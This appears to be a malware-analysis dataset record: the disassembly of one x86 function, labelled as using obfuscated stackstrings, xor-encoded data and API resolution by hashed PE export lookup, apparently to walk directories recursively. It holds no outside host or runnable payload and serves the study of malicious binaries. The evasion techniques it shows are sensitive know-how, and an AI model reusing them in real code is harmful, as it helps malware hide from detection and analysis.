Function at 0x41451b
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2dc
push ebx
push ebp
push esi
xor eax, eax
mov dword [esp + 0x10], 0x3a413a29
push edi
mov dword [esp + 0x18], 0x4236473c
xorps xmm0, xmm0
movq xmm1, qword [esp + 0x14]
mov esi, ecx
punpcklbw xmm1, xmm0
paddw xmm1, xmmword [0x420f60]
pand xmm1, xmmword [0x420f80]
mov word [esp + 0x78], ax
push 0x2a
pop eax
mov word [esp + 0x38], ax
xor eax, eax
mov dword [esp + 0x40], esi
xor ecx, ecx
movups xmmword [esp + 0x68], xmm1
mov word [esp + 0x3a], ax
mov dword [esp + 0x1c], 0x351a054c
mov byte [esp + 0x20], 0x43
mov al, byte [esp + ecx + 0x1c]
xor al, 0x69
movzx eax, al
mov word [esp + ecx*2 + 0x4c], ax
inc ecx
cmp ecx, 5
jl 0x414582
xor eax, eax
lea edx, [esp + 0x68]
mov word [esp + 0x56], ax
mov ecx, esi
lea eax, [esp + 0x38]
push 1
push eax
call fcn.004186f5
lea eax, [esp + 0x54]
push esi
push eax
call fcn.0041b96a
mov ebx, eax
add esp, 0x10
mov dword [esp + 0x1c], ebx
test ebx, ebx
je 0x4147ac
lea eax, [esp + 0x98]
xor ecx, ecx
push eax
push ebx
mov edx, 0x54e1cc7b
inc ecx
call fcn.00412cbc
call eax
xor ecx, ecx
mov edx, 0x17299c7b
inc ecx
mov ebp, eax
call fcn.00412cbc
cmp ebp, 0xffffffff
je 0x4147a5
mov word [esp + 0x24], 0xc8c8
mov edi, 0xff
mov ebx, eax
push 0x2e
pop eax
mov word [esp + 0x3c], ax
xor eax, eax
mov word [esp + 0x3e], ax
xor ecx, ecx
movzx eax, byte [esp + ecx + 0x24]
add ax, 0x66
and ax, di
mov word [esp + ecx*2 + 0x44], ax
inc ecx
cmp ecx, 2
jl 0x41461a
xor eax, eax
mov word [esp + 0x48], ax
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0xc8]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x41477e
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0xc8]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x41477e
test byte [esp + 0x98], 0x10
je 0x41477e
lea eax, [esp + 0xc4]
push eax
call fcn.0040581e
pop ecx
cmp eax, 0x10
jne 0x41477e
mov dword [esp + 0x14], 0x243b34ed
xor ecx, ecx
mov word [esp + 0x18], 0x34ed
mov byte [esp + 0x1a], 0x3b
movzx eax, byte [esp + ecx + 0x14]
add ax, 0x38
and ax, di
mov word [esp + ecx*2 + 0x58], ax
inc ecx
cmp ecx, 7
jl 0x4146ab
xor eax, eax
mov word [esp + 0x66], ax
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0x5c]
push esi
push eax
call fcn.0041b96a
mov edi, eax
add esp, 0xc
test edi, edi
je 0x414779
mov dword [esp + 0x2c], 0x72797261
xor ecx, ecx
mov dword [esp + 0x30], 0x7a6e7f74
mov edx, 0xff
mov dword [esp + 0x34], 0x8079323c
movzx eax, byte [esp + ecx + 0x2c]
sub ax, 0xd
and ax, dx
mov word [esp + ecx*2 + 0x7c], ax
inc ecx
cmp ecx, 0xc
jl 0x414708
xor eax, eax
mov word [esp + 0x94], ax
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0x80]
push eax
call fcn.0041b96a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x41476e
push 0x2a
pop eax
mov word [esp + 0x28], ax
mov edx, esi
xor eax, eax
mov ecx, edi
mov word [esp + 0x2a], ax
lea eax, [esp + 0x28]
push 1
push eax
call fcn.004186f5
push esi
call fcn.004056f0
add esp, 0xc
push edi
call fcn.004056f0
mov esi, dword [esp + 0x44]
pop ecx
mov edi, 0xff
lea eax, [esp + 0x98]
push eax
push ebp
call ebx
test eax, eax
jne 0x414609
xor ecx, ecx
mov edx, 0x83fbc401
push ebp
inc ecx
call fcn.00412cbc
call eax
mov ebx, dword [esp + 0x1c]
push ebx
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2dc
ret